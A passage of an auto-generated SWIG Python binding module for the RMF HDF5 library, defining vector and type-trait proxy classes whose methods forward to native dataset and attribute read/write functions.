self, std::vector< std::vector< double > >::difference_type i) __delitem__(DoublesList self, PySliceObject * slice) """ return _RMF_HDF5.DoublesList___delitem__(self, *args) def __getitem__(self, *args): r""" __getitem__(DoublesList self, PySliceObject * slice) -> DoublesList __getitem__(DoublesList self, std::vector< std::vector< double > >::difference_type i) -> Doubles """ return _RMF_HDF5.DoublesList___getitem__(self, *args) def __setitem__(self, *args): r""" __setitem__(DoublesList self, PySliceObject * slice, DoublesList v) __setitem__(DoublesList self, PySliceObject * slice) __setitem__(DoublesList self, std::vector< std::vector< double > >::difference_type i, Doubles x) """ return _RMF_HDF5.DoublesList___setitem__(self, *args) def pop(self): r"""pop(DoublesList self) -> Doubles""" return _RMF_HDF5.DoublesList_pop(self) def append(self, x): r"""append(DoublesList self, Doubles x)""" return _RMF_HDF5.DoublesList_append(self, x) def empty(self): r"""empty(DoublesList self) -> bool""" return _RMF_HDF5.DoublesList_empty(self) def size(self): r"""size(DoublesList self) -> std::vector< std::vector< double > >::size_type""" return _RMF_HDF5.DoublesList_size(self) def swap(self, v): r"""swap(DoublesList self, DoublesList v)""" return _RMF_HDF5.DoublesList_swap(self, v) def begin(self): r"""begin(DoublesList self) -> std::vector< std::vector< double > >::iterator""" return _RMF_HDF5.DoublesList_begin(self) def end(self): r"""end(DoublesList self) -> std::vector< std::vector< double > >::iterator""" return _RMF_HDF5.DoublesList_end(self) def rbegin(self): r"""rbegin(DoublesList self) -> std::vector< std::vector< double > >::reverse_iterator""" return _RMF_HDF5.DoublesList_rbegin(self) def rend(self): r"""rend(DoublesList self) -> std::vector< std::vector< double > >::reverse_iterator""" return _RMF_HDF5.DoublesList_rend(self) def clear(self): r"""clear(DoublesList self)""" return _RMF_HDF5.DoublesList_clear(self) def get_allocator(self): r"""get_allocator(DoublesList self) -> std::vector< std::vector< double > >::allocator_type""" return _RMF_HDF5.DoublesList_get_allocator(self) def pop_back(self): r"""pop_back(DoublesList self)""" return _RMF_HDF5.DoublesList_pop_back(self) def erase(self, *args): r""" erase(DoublesList self, std::vector< std::vector< double > >::iterator pos) -> std::vector< std::vector< double > >::iterator erase(DoublesList self, std::vector< std::vector< double > >::iterator first, std::vector< std::vector< double > >::iterator last) -> std::vector< std::vector< double > >::iterator """ return _RMF_HDF5.DoublesList_erase(self, *args) def __init__(self, *args): r""" __init__(DoublesList self) -> DoublesList __init__(DoublesList self, DoublesList other) -> DoublesList __init__(DoublesList self, std::vector< std::vector< double > >::size_type size) -> DoublesList __init__(DoublesList self, std::vector< std::vector< double > >::size_type size, Doubles value) -> DoublesList """ _RMF_HDF5.DoublesList_swiginit(self, _RMF_HDF5.new_DoublesList(*args)) def push_back(self, x): r"""push_back(DoublesList self, Doubles x)""" return _RMF_HDF5.DoublesList_push_back(self, x) def front(self): r"""front(DoublesList self) -> Doubles""" return _RMF_HDF5.DoublesList_front(self) def back(self): r"""back(DoublesList self) -> Doubles""" return _RMF_HDF5.DoublesList_back(self) def assign(self, n, x): r"""assign(DoublesList self, std::vector< std::vector< double > >::size_type n, Doubles x)""" return _RMF_HDF5.DoublesList_assign(self, n, x) def resize(self, *args): r""" resize(DoublesList self, std::vector< std::vector< double > >::size_type new_size) resize(DoublesList self, std::vector< std::vector< double > >::size_type new_size, Doubles x) """ return _RMF_HDF5.DoublesList_resize(self, *args) def insert(self, *args): r""" insert(DoublesList self, std::vector< std::vector< double > >::iterator pos, Doubles x) -> std::vector< std::vector< double > >::iterator insert(DoublesList self, std::vector< std::vector< double > >::iterator pos, std::vector< std::vector< double > >::size_type n, Doubles x) """ return _RMF_HDF5.DoublesList_insert(self, *args) def reserve(self, n): r"""reserve(DoublesList self, std::vector< std::vector< double > >::size_type n)""" return _RMF_HDF5.DoublesList_reserve(self, n) def capacity(self): r"""capacity(DoublesList self) -> std::vector< std::vector< double > >::size_type""" return _RMF_HDF5.DoublesList_capacity(self) __swig_destroy__ = _RMF_HDF5.delete_DoublesList # Register DoublesList in _RMF_HDF5: _RMF_HDF5.DoublesList_swigregister(DoublesList) _types_list.append("int") _types_list.append("ints") _types_list.append("float") _types_list.append("floats") _types_list.append("index") _types_list.append("indexes") _types_list.append("string") _types_list.append("strings") class IntTraitsBase(object): r"""Proxy of C++ RMF::HDF5::IntTraitsBase class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr BatchOperations = _RMF_HDF5.IntTraitsBase_BatchOperations @staticmethod def get_index(): r"""get_index() -> int""" return _RMF_HDF5.IntTraitsBase_get_index() @staticmethod def get_null_value(): r"""get_null_value() -> RMF::HDF5::IntTraitsBase::Type const &""" return _RMF_HDF5.IntTraitsBase_get_null_value() @staticmethod def get_is_null_value(t): r"""get_is_null_value(RMF::HDF5::IntTraitsBase::Type t) -> bool""" return _RMF_HDF5.IntTraitsBase_get_is_null_value(t) @staticmethod def get_hdf5_fill_type(): r"""get_hdf5_fill_type() -> hid_t""" return _RMF_HDF5.IntTraitsBase_get_hdf5_fill_type() @staticmethod def get_hdf5_disk_type(): r"""get_hdf5_disk_type() -> hid_t""" return _RMF_HDF5.IntTraitsBase_get_hdf5_disk_type() @staticmethod def get_hdf5_memory_type(): r"""get_hdf5_memory_type() -> hid_t""" return _RMF_HDF5.IntTraitsBase_get_hdf5_memory_type() @staticmethod def get_fill_value(): r"""get_fill_value() -> RMF::HDF5::IntTraitsBase::Type const &""" return _RMF_HDF5.IntTraitsBase_get_fill_value() @staticmethod def get_name(): r"""get_name() -> std::string""" return _RMF_HDF5.IntTraitsBase_get_name() __swig_destroy__ = _RMF_HDF5.delete_IntTraitsBase # Register IntTraitsBase in _RMF_HDF5: _RMF_HDF5.IntTraitsBase_swigregister(IntTraitsBase) cvar = _RMF_HDF5.cvar NullInt = cvar.NullInt NullInts = cvar.NullInts NullFloat = cvar.NullFloat NullFloats = cvar.NullFloats NullIndex = cvar.NullIndex NullIndexes = cvar.NullIndexes NullString = cvar.NullString NullStrings = cvar.NullStrings def IntTraitsBase_get_index(): r"""IntTraitsBase_get_index() -> int""" return _RMF_HDF5.IntTraitsBase_get_index() def IntTraitsBase_get_null_value(): r"""IntTraitsBase_get_null_value() -> RMF::HDF5::IntTraitsBase::Type const &""" return _RMF_HDF5.IntTraitsBase_get_null_value() def IntTraitsBase_get_is_null_value(t): r"""IntTraitsBase_get_is_null_value(RMF::HDF5::IntTraitsBase::Type t) -> bool""" return _RMF_HDF5.IntTraitsBase_get_is_null_value(t) def IntTraitsBase_get_hdf5_fill_type(): r"""IntTraitsBase_get_hdf5_fill_type() -> hid_t""" return _RMF_HDF5.IntTraitsBase_get_hdf5_fill_type() def IntTraitsBase_get_hdf5_disk_type(): r"""IntTraitsBase_get_hdf5_disk_type() -> hid_t""" return _RMF_HDF5.IntTraitsBase_get_hdf5_disk_type() def IntTraitsBase_get_hdf5_memory_type(): r"""IntTraitsBase_get_hdf5_memory_type() -> hid_t""" return _RMF_HDF5.IntTraitsBase_get_hdf5_memory_type() def IntTraitsBase_get_fill_value(): r"""IntTraitsBase_get_fill_value() -> RMF::HDF5::IntTraitsBase::Type const &""" return _RMF_HDF5.IntTraitsBase_get_fill_value() def IntTraitsBase_get_name(): r"""IntTraitsBase_get_name() -> std::string""" return _RMF_HDF5.IntTraitsBase_get_name() def _IntTraitsBase(): r"""_IntTraitsBase() -> IntTraitsBase""" val = _RMF_HDF5.new__IntTraitsBase() return val class FloatTraitsBase(object): r"""Proxy of C++ RMF::HDF5::FloatTraitsBase class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr BatchOperations = _RMF_HDF5.FloatTraitsBase_BatchOperations @staticmethod def get_index(): r"""get_index() -> int""" return _RMF_HDF5.FloatTraitsBase_get_index() @staticmethod def get_null_value(): r"""get_null_value() -> RMF::HDF5::FloatTraitsBase::Type const &""" return _RMF_HDF5.FloatTraitsBase_get_null_value() @staticmethod def get_is_null_value(t): r"""get_is_null_value(RMF::HDF5::FloatTraitsBase::Type t) -> bool""" return _RMF_HDF5.FloatTraitsBase_get_is_null_value(t) @staticmethod def get_hdf5_fill_type(): r"""get_hdf5_fill_type() -> hid_t""" return _RMF_HDF5.FloatTraitsBase_get_hdf5_fill_type() @staticmethod def get_hdf5_disk_type(): r"""get_hdf5_disk_type() -> hid_t""" return _RMF_HDF5.FloatTraitsBase_get_hdf5_disk_type() @staticmethod def get_hdf5_memory_type(): r"""get_hdf5_memory_type() -> hid_t""" return _RMF_HDF5.FloatTraitsBase_get_hdf5_memory_type() @staticmethod def get_fill_value(): r"""get_fill_value() -> RMF::HDF5::FloatTraitsBase::Type const &""" return _RMF_HDF5.FloatTraitsBase_get_fill_value() @staticmethod def get_name(): r"""get_name() -> std::string""" return _RMF_HDF5.FloatTraitsBase_get_name() __swig_destroy__ = _RMF_HDF5.delete_FloatTraitsBase # Register FloatTraitsBase in _RMF_HDF5: _RMF_HDF5.FloatTraitsBase_swigregister(FloatTraitsBase) def FloatTraitsBase_get_index(): r"""FloatTraitsBase_get_index() -> int""" return _RMF_HDF5.FloatTraitsBase_get_index() def FloatTraitsBase_get_null_value(): r"""FloatTraitsBase_get_null_value() -> RMF::HDF5::FloatTraitsBase::Type const &""" return _RMF_HDF5.FloatTraitsBase_get_null_value() def FloatTraitsBase_get_is_null_value(t): r"""FloatTraitsBase_get_is_null_value(RMF::HDF5::FloatTraitsBase::Type t) -> bool""" return _RMF_HDF5.FloatTraitsBase_get_is_null_value(t) def FloatTraitsBase_get_hdf5_fill_type(): r"""FloatTraitsBase_get_hdf5_fill_type() -> hid_t""" return _RMF_HDF5.FloatTraitsBase_get_hdf5_fill_type() def FloatTraitsBase_get_hdf5_disk_type(): r"""FloatTraitsBase_get_hdf5_disk_type() -> hid_t""" return _RMF_HDF5.FloatTraitsBase_get_hdf5_disk_type() def FloatTraitsBase_get_hdf5_memory_type(): r"""FloatTraitsBase_get_hdf5_memory_type() -> hid_t""" return _RMF_HDF5.FloatTraitsBase_get_hdf5_memory_type() def FloatTraitsBase_get_fill_value(): r"""FloatTraitsBase_get_fill_value() -> RMF::HDF5::FloatTraitsBase::Type const &""" return _RMF_HDF5.FloatTraitsBase_get_fill_value() def FloatTraitsBase_get_name(): r"""FloatTraitsBase_get_name() -> std::string""" return _RMF_HDF5.FloatTraitsBase_get_name() def _FloatTraitsBase(): r"""_FloatTraitsBase() -> FloatTraitsBase""" val = _RMF_HDF5.new__FloatTraitsBase() return val class IndexTraitsBase(IntTraitsBase): r"""Proxy of C++ RMF::HDF5::IndexTraitsBase class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr @staticmethod def get_index(): r"""get_index() -> int""" return _RMF_HDF5.IndexTraitsBase_get_index() @staticmethod def get_null_value(): r"""get_null_value() -> RMF::HDF5::IntTraitsBase::Type const &""" return _RMF_HDF5.IndexTraitsBase_get_null_value() @staticmethod def get_is_null_value(t): r"""get_is_null_value(RMF::HDF5::IntTraitsBase::Type t) -> bool""" return _RMF_HDF5.IndexTraitsBase_get_is_null_value(t) @staticmethod def get_fill_value(): r"""get_fill_value() -> RMF::HDF5::IntTraitsBase::Type const &""" return _RMF_HDF5.IndexTraitsBase_get_fill_value() @staticmethod def get_name(): r"""get_name() -> std::string""" return _RMF_HDF5.IndexTraitsBase_get_name() __swig_destroy__ = _RMF_HDF5.delete_IndexTraitsBase # Register IndexTraitsBase in _RMF_HDF5: _RMF_HDF5.IndexTraitsBase_swigregister(IndexTraitsBase) def IndexTraitsBase_get_index(): r"""IndexTraitsBase_get_index() -> int""" return _RMF_HDF5.IndexTraitsBase_get_index() def IndexTraitsBase_get_null_value(): r"""IndexTraitsBase_get_null_value() -> RMF::HDF5::IntTraitsBase::Type const &""" return _RMF_HDF5.IndexTraitsBase_get_null_value() def IndexTraitsBase_get_is_null_value(t): r"""IndexTraitsBase_get_is_null_value(RMF::HDF5::IntTraitsBase::Type t) -> bool""" return _RMF_HDF5.IndexTraitsBase_get_is_null_value(t) def IndexTraitsBase_get_fill_value(): r"""IndexTraitsBase_get_fill_value() -> RMF::HDF5::IntTraitsBase::Type const &""" return _RMF_HDF5.IndexTraitsBase_get_fill_value() def IndexTraitsBase_get_name(): r"""IndexTraitsBase_get_name() -> std::string""" return _RMF_HDF5.IndexTraitsBase_get_name() def _IndexTraitsBase(): r"""_IndexTraitsBase() -> IndexTraitsBase""" val = _RMF_HDF5.new__IndexTraitsBase() return val class _CharTraits(object): r"""Proxy of C++ RMF::HDF5::CharTraits class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") __repr__ = _swig_repr BatchOperations = _RMF_HDF5._CharTraits_BatchOperations @staticmethod def get_index(): r"""get_index() -> int""" return _RMF_HDF5._CharTraits_get_index() @staticmethod def get_null_value(): r"""get_null_value() -> RMF::HDF5::CharTraits::Type const &""" return _RMF_HDF5._CharTraits_get_null_value() @staticmethod def get_is_null_value(t): r"""get_is_null_value(RMF::HDF5::CharTraits::Type t) -> bool""" return _RMF_HDF5._CharTraits_get_is_null_value(t) @staticmethod def get_hdf5_fill_type(): r"""get_hdf5_fill_type() -> hid_t""" return _RMF_HDF5._CharTraits_get_hdf5_fill_type() @staticmethod def get_hdf5_disk_type(): r"""get_hdf5_disk_type() -> hid_t""" return _RMF_HDF5._CharTraits_get_hdf5_disk_type() @staticmethod def get_hdf5_memory_type(): r"""get_hdf5_memory_type() -> hid_t""" return _RMF_HDF5._CharTraits_get_hdf5_memory_type() @staticmethod def get_fill_value(): r"""get_fill_value() -> RMF::HDF5::CharTraits::Type const &""" return _RMF_HDF5._CharTraits_get_fill_value() @staticmethod def get_name(): r"""get_name() -> std::string""" return _RMF_HDF5._CharTraits_get_name() @staticmethod def write_value_dataset(arg1, arg2, arg3, arg4): r"""write_value_dataset(hid_t arg1, hid_t arg2, hid_t arg3, char arg4)""" return _RMF_HDF5._CharTraits_write_value_dataset(arg1, arg2, arg3, arg4) @staticmethod def read_value_dataset(arg1, arg2, arg3): r"""read_value_dataset(hid_t arg1, hid_t arg2, hid_t arg3) -> char""" return _RMF_HDF5._CharTraits_read_value_dataset(arg1, arg2, arg3) @staticmethod def write_values_dataset(arg1, arg2, arg3, arg4): r"""write_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, RMF::HDF5::CharTraits::Types const & arg4)""" return _RMF_HDF5._CharTraits_write_values_dataset(arg1, arg2, arg3, arg4) @staticmethod def read_values_dataset(arg1, arg2, arg3, arg4): r"""read_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, unsigned int arg4) -> RMF::HDF5::CharTraits::Types""" return _RMF_HDF5._CharTraits_read_values_dataset(arg1, arg2, arg3, arg4) @staticmethod def write_values_attribute(a, v): r"""write_values_attribute(hid_t a, RMF::HDF5::CharTraits::Types const & v)""" return _RMF_HDF5._CharTraits_write_values_attribute(a, v) @staticmethod def read_values_attribute(a, sz): r"""read_values_attribute(hid_t a, unsigned int sz) -> RMF::HDF5::CharTraits::Types""" return _RMF_HDF5._CharTraits_read_values_attribute(a, sz) def __init__(self): r"""__init__(_CharTraits self) -> _CharTraits""" _RMF_HDF5._CharTraits_swiginit(self, _RMF_HDF5.new__CharTraits()) __swig_destroy__ = _RMF_HDF5.delete__CharTraits # Register _CharTraits in _RMF_HDF5: _RMF_HDF5._CharTraits_swigregister(_CharTraits) def _CharTraits_get_index(): r"""_CharTraits_get_index() -> int""" return _RMF_HDF5._CharTraits_get_index() def _CharTraits_get_null_value(): r"""_CharTraits_get_null_value() -> RMF::HDF5::CharTraits::Type const &""" return _RMF_HDF5._CharTraits_get_null_value() def _CharTraits_get_is_null_value(t): r"""_CharTraits_get_is_null_value(RMF::HDF5::CharTraits::Type t) -> bool""" return _RMF_HDF5._CharTraits_get_is_null_value(t) def _CharTraits_get_hdf5_fill_type(): r"""_CharTraits_get_hdf5_fill_type() -> hid_t""" return _RMF_HDF5._CharTraits_get_hdf5_fill_type() def _CharTraits_get_hdf5_disk_type(): r"""_CharTraits_get_hdf5_disk_type() -> hid_t""" return _RMF_HDF5._CharTraits_get_hdf5_disk_type() def _CharTraits_get_hdf5_memory_type(): r"""_CharTraits_get_hdf5_memory_type() -> hid_t""" return _RMF_HDF5._CharTraits_get_hdf5_memory_type() def _CharTraits_get_fill_value(): r"""_CharTraits_get_fill_value() -> RMF::HDF5::CharTraits::Type const &""" return _RMF_HDF5._CharTraits_get_fill_value() def _CharTraits_get_name(): r"""_CharTraits_get_name() -> std::string""" return _RMF_HDF5._CharTraits_get_name() def _CharTraits_write_value_dataset(arg1, arg2, arg3, arg4): r"""_CharTraits_write_value_dataset(hid_t arg1, hid_t arg2, hid_t arg3, char arg4)""" return _RMF_HDF5._CharTraits_write_value_dataset(arg1, arg2, arg3, arg4) def _CharTraits_read_value_dataset(arg1, arg2, arg3): r"""_CharTraits_read_value_dataset(hid_t arg1, hid_t arg2, hid_t arg3) -> char""" return _RMF_HDF5._CharTraits_read_value_dataset(arg1, arg2, arg3) def _CharTraits_write_values_dataset(arg1, arg2, arg3, arg4): r"""_CharTraits_write_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, RMF::HDF5::CharTraits::Types const & arg4)""" return _RMF_HDF5._CharTraits_write_values_dataset(arg1, arg2, arg3, arg4) def _CharTraits_read_values_dataset(arg1, arg2, arg3, arg4): r"""_CharTraits_read_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, unsigned int arg4) -> RMF::HDF5::CharTraits::Types""" return _RMF_HDF5._CharTraits_read_values_dataset(arg1, arg2, arg3, arg4) def _CharTraits_write_values_attribute(a, v): r"""_CharTraits_write_values_attribute(hid_t a, RMF::HDF5::CharTraits::Types const & v)""" return _RMF_HDF5._CharTraits_write_values_attribute(a, v) def _CharTraits_read_values_attribute(a, sz): r"""_CharTraits_read_values_attribute(hid_t a, unsigned int sz) -> RMF::HDF5::CharTraits::Types""" return _RMF_HDF5._CharTraits_read_values_attribute(a, sz) class _StringTraits(object): r"""Proxy of C++ RMF::HDF5::StringTraits class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") __repr__ = _swig_repr BatchOperations = _RMF_HDF5._StringTraits_BatchOperations @staticmethod def get_index(): r"""get_index() -> int""" return _RMF_HDF5._StringTraits_get_index() @staticmethod def get_null_value(): r"""get_null_value() -> RMF::HDF5::StringTraits::Type const &""" return _RMF_HDF5._StringTraits_get_null_value() @staticmethod def get_is_null_value(t): r"""get_is_null_value(RMF::HDF5::StringTraits::Type t) -> bool""" return _RMF_HDF5._StringTraits_get_is_null_value(t) @staticmethod def get_hdf5_fill_type(): r"""get_hdf5_fill_type() -> hid_t""" return _RMF_HDF5._StringTraits_get_hdf5_fill_type() @staticmethod def get_hdf5_disk_type(): r"""get_hdf5_disk_type() -> hid_t""" return _RMF_HDF5._StringTraits_get_hdf5_disk_type() @staticmethod def get_hdf5_memory_type(): r"""get_hdf5_memory_type() -> hid_t""" return _RMF_HDF5._StringTraits_get_hdf5_memory_type() @staticmethod def get_fill_value(): r"""get_fill_value() -> RMF::HDF5::StringTraits::Type const &""" return _RMF_HDF5._StringTraits_get_fill_value() @staticmethod def get_name(): r"""get_name() -> std::string""" return _RMF_HDF5._StringTraits_get_name() @staticmethod def write_value_dataset(d, iss, s, v): r"""write_value_dataset(hid_t d, hid_t iss, hid_t s, RMF::HDF5::StringTraits::Type const & v)""" return _RMF_HDF5._StringTraits_write_value_dataset(d, iss, s, v) @staticmethod def read_value_dataset(d, iss, sp): r"""read_value_dataset(hid_t d, hid_t iss, hid_t sp) -> RMF::HDF5::StringTraits::Type""" return _RMF_HDF5._StringTraits_read_value_dataset(d, iss, sp) @staticmethod def write_values_dataset(arg1, arg2, arg3, arg4): r"""write_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, Strings arg4)""" return _RMF_HDF5._StringTraits_write_values_dataset(arg1, arg2, arg3, arg4) @staticmethod def read_values_dataset(arg1, arg2, arg3, arg4): r"""read_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, unsigned int arg4) -> Strings""" return _RMF_HDF5._StringTraits_read_values_dataset(arg1, arg2, arg3, arg4) @staticmethod def read_values_attribute(arg1, arg2): r"""read_values_attribute(hid_t arg1, unsigned int arg2) -> Strings""" return _RMF_HDF5._StringTraits_read_values_attribute(arg1, arg2) @staticmethod def write_values_attribute(arg1, arg2): r"""write_values_attribute(hid_t arg1, Strings arg2)""" return _RMF_HDF5._StringTraits_write_values_attribute(arg1, arg2) def __init__(self): r"""__init__(_StringTraits self) -> _StringTraits""" _RMF_HDF5._StringTraits_swiginit(self, _RMF_HDF5.new__StringTraits()) __swig_destroy__ = _RMF_HDF5.delete__StringTraits # Register _StringTraits in _RMF_HDF5: _RMF_HDF5._StringTraits_swigregister(_StringTraits) def _StringTraits_get_index(): r"""_StringTraits_get_index() -> int""" return _RMF_HDF5._StringTraits_get_index() def _StringTraits_get_null_value(): r"""_StringTraits_get_null_value() -> RMF::HDF5::StringTraits::Type const &""" return _RMF_HDF5._StringTraits_get_null_value() def _StringTraits_get_is_null_value(t): r"""_StringTraits_get_is_null_value(RMF::HDF5::StringTraits::Type t) -> bool""" return _RMF_HDF5._StringTraits_get_is_null_value(t) def _StringTraits_get_hdf5_fill_type(): r"""_StringTraits_get_hdf5_fill_type() -> hid_t""" return _RMF_HDF5._StringTraits_get_hdf5_fill_type() def _StringTraits_get_hdf5_disk_type(): r"""_StringTraits_get_hdf5_disk_type() -> hid_t""" return _RMF_HDF5._StringTraits_get_hdf5_disk_type() def _StringTraits_get_hdf5_memory_type(): r"""_StringTraits_get_hdf5_memory_type() -> hid_t""" return _RMF_HDF5._StringTraits_get_hdf5_memory_type() def _StringTraits_get_fill_value(): r"""_StringTraits_get_fill_value() -> RMF::HDF5::StringTraits::Type const &""" return _RMF_HDF5._StringTraits_get_fill_value() def _StringTraits_get_name(): r"""_StringTraits_get_name() -> std::string""" return _RMF_HDF5._StringTraits_get_name() def _StringTraits_write_value_dataset(d, iss, s, v): r"""_StringTraits_write_value_dataset(hid_t d, hid_t iss, hid_t s, RMF::HDF5::StringTraits::Type const & v)""" return _RMF_HDF5._StringTraits_write_value_dataset(d, iss, s, v) def _StringTraits_read_value_dataset(d, iss, sp): r"""_StringTraits_read_value_dataset(hid_t d, hid_t iss, hid_t sp) -> RMF::HDF5::StringTraits::Type""" return _RMF_HDF5._StringTraits_read_value_dataset(d, iss, sp) def _StringTraits_write_values_dataset(arg1, arg2, arg3, arg4): r"""_StringTraits_write_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, Strings arg4)""" return _RMF_HDF5._StringTraits_write_values_dataset(arg1, arg2, arg3, arg4) def _StringTraits_read_values_dataset(arg1, arg2, arg3, arg4): r"""_StringTraits_read_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, unsigned int arg4) -> Strings""" return _RMF_HDF5._StringTraits_read_values_dataset(arg1, arg2, arg3, arg4) def _StringTraits_read_values_attribute(arg1, arg2): r"""_StringTraits_read_values_attribute(hid_t arg1, unsigned int arg2) -> Strings""" return _RMF_HDF5._StringTraits_read_values_attribute(arg1, arg2) def _StringTraits_write_values_attribute(arg1, arg2): r"""_StringTraits_write_values_attribute(hid_t arg1, Strings arg2)""" return _RMF_HDF5._StringTraits_write_values_attribute(arg1, arg2) class _StringsTraits(object): r"""Proxy of C++ RMF::HDF5::StringsTraits class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") __repr__ = _swig_repr BatchOperations = _RMF_HDF5._StringsTraits_BatchOperations @staticmethod def get_index(): r"""get_index() -> int""" return _RMF_HDF5._StringsTraits_get_index() @staticmethod def get_null_value(): r"""get_null_value() -> Strings""" return _RMF_HDF5._StringsTraits_get_null_value() @staticmethod def get_is_null_value(t): r"""get_is_null_value(Strings t) -> bool""" return _RMF_HDF5._StringsTraits_get_is_null_value(t) @staticmethod def get_hdf5_fill_type(): r"""get_hdf5_fill_type() -> hid_t""" return _RMF_HDF5._StringsTraits_get_hdf5_fill_type() @staticmethod def get_hdf5_disk_type(): r"""get_hdf5_disk_type() -> hid_t""" return _RMF_HDF5._StringsTraits_get_hdf5_disk_type() @staticmethod def get_hdf5_memory_type(): r"""get_hdf5_memory_type() -> hid_t""" return _RMF_HDF5._StringsTraits_get_hdf5_memory_type() @staticmethod def get_fill_value(): r"""get_fill_value() -> hvl_t const &""" return _RMF_HDF5._StringsTraits_get_fill_value() @staticmethod def get_name(): r"""get_name() -> std::string""" return _RMF_HDF5._StringsTraits_get_name() @staticmethod def write_value_dataset(d, iss, s, v): r"""write_value_dataset(hid_t d, hid_t iss, hid_t s, Strings v)""" return _RMF_HDF5._StringsTraits_write_value_dataset(d, iss, s, v) @staticmethod def read_value_dataset(d, iss, sp): r"""read_value_dataset(hid_t d, hid_t iss, hid_t sp) -> Strings""" return _RMF_HDF5._StringsTraits_read_value_dataset(d, iss, sp) @staticmethod def write_values_dataset(arg1, arg2, arg3, arg4): r"""write_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, StringsList arg4)""" return _RMF_HDF5._StringsTraits_write_values_dataset(arg1, arg2, arg3, arg4) @staticmethod def read_values_dataset(arg1, arg2, arg3, arg4): r"""read_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, unsigned int arg4) -> StringsList""" return _RMF_HDF5._StringsTraits_read_values_dataset(arg1, arg2, arg3, arg4) @staticmethod def read_values_attribute(arg1, arg2): r"""read_values_attribute(hid_t arg1, unsigned int arg2) -> StringsList""" return _RMF_HDF5._StringsTraits_read_values_attribute(arg1, arg2) @staticmethod def write_values_attribute(arg1, arg2): r"""write_values_attribute(hid_t arg1, StringsList arg2)""" return _RMF_HDF5._StringsTraits_write_values_attribute(arg1, arg2) def __init__(self): r"""__init__(_StringsTraits self) -> _StringsTraits""" _RMF_HDF5._StringsTraits_swiginit(self, _RMF_HDF5.new__StringsTraits()) __swig_destroy__ = _RMF_HDF5.delete__StringsTraits # Register _StringsTraits in _RMF_HDF5: _RMF_HDF5._StringsTraits_swigregister(_StringsTraits) def _StringsTraits_get_index(): r"""_StringsTraits_get_index() -> int""" return _RMF_HDF5._StringsTraits_get_index() def _StringsTraits_get_null_value(): r"""_StringsTraits_get_null_value() -> Strings""" return _RMF_HDF5._StringsTraits_get_null_value() def _StringsTraits_get_is_null_value(t): r"""_StringsTraits_get_is_null_value(Strings t) -> bool""" return _RMF_HDF5._StringsTraits_get_is_null_value(t) def _StringsTraits_get_hdf5_fill_type(): r"""_StringsTraits_get_hdf5_fill_type() -> hid_t""" return _RMF_HDF5._StringsTraits_get_hdf5_fill_type() def _StringsTraits_get_hdf5_disk_type(): r"""_StringsTraits_get_hdf5_disk_type() -> hid_t""" return _RMF_HDF5._StringsTraits_get_hdf5_disk_type() def _StringsTraits_get_hdf5_memory_type(): r"""_StringsTraits_get_hdf5_memory_type() -> hid_t""" return _RMF_HDF5._StringsTraits_get_hdf5_memory_type() def _StringsTraits_get_fill_value(): r"""_StringsTraits_get_fill_value() -> hvl_t const &""" return _RMF_HDF5._StringsTraits_get_fill_value() def _StringsTraits_get_name(): r"""_StringsTraits_get_name() -> std::string""" return _RMF_HDF5._StringsTraits_get_name() def _StringsTraits_write_value_dataset(d, iss, s, v): r"""_StringsTraits_write_value_dataset(hid_t d, hid_t iss, hid_t s, Strings v)""" return _RMF_HDF5._StringsTraits_write_value_dataset(d, iss, s, v) def _StringsTraits_read_value_dataset(d, iss, sp): r"""_StringsTraits_read_value_dataset(hid_t d, hid_t iss, hid_t sp) -> Strings""" return _RMF_HDF5._StringsTraits_read_value_dataset(d, iss, sp) def _StringsTraits_write_values_dataset(arg1, arg2, arg3, arg4): r"""_StringsTraits_write_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, StringsList arg4)""" return _RMF_HDF5._StringsTraits_write_values_dataset(arg1, arg2, arg3, arg4) def _StringsTraits_read_values_dataset(arg1, arg2, arg3, arg4): r"""_StringsTraits_read_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, unsigned int arg4) -> StringsList""" return _RMF_HDF5._StringsTraits_read_values_dataset(arg1, arg2, arg3, arg4) def _StringsTraits_read_values_attribute(arg1, arg2): r"""_StringsTraits_read_values_attribute(hid_t arg1, unsigned int arg2) -> StringsList""" return _RMF_HDF5._StringsTraits_read_values_attribute(arg1, arg2) def _StringsTraits_write_values_attribute(arg1, arg2): r"""_StringsTraits_write_values_attribute(hid_t arg1, StringsList arg2)""" return _RMF_HDF5._StringsTraits_write_values_attribute(arg1, arg2) class _IntTraitsBaseClass(IntTraitsBase): r"""Proxy of C++ RMF::HDF5::SimpleTraits< RMF::HDF5::IntTraitsBase > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") __repr__ = _swig_repr @staticmethod def write_value_dataset(d, iss, s, v): r"""write_value_dataset(hid_t d, hid_t iss, hid_t s, RMF::HDF5::IntTraitsBase::Type v)""" return _RMF_HDF5._IntTraitsBaseClass_write_value_dataset(d, iss, s, v) @staticmethod def read_value_dataset(d, iss, sp): r"""read_value_dataset(hid_t d, hid_t iss, hid_t sp) -> RMF::HDF5::IntTraitsBase::Type""" return _RMF_HDF5._IntTraitsBaseClass_read_value_dataset(d, iss, sp) @staticmethod def write_values_dataset(d, iss, s, v): r"""write_values_dataset(hid_t d, hid_t iss, hid_t s, Ints v)""" return _RMF_HDF5._IntTraitsBaseClass_write_values_dataset(d, iss, s, v) @staticmethod def 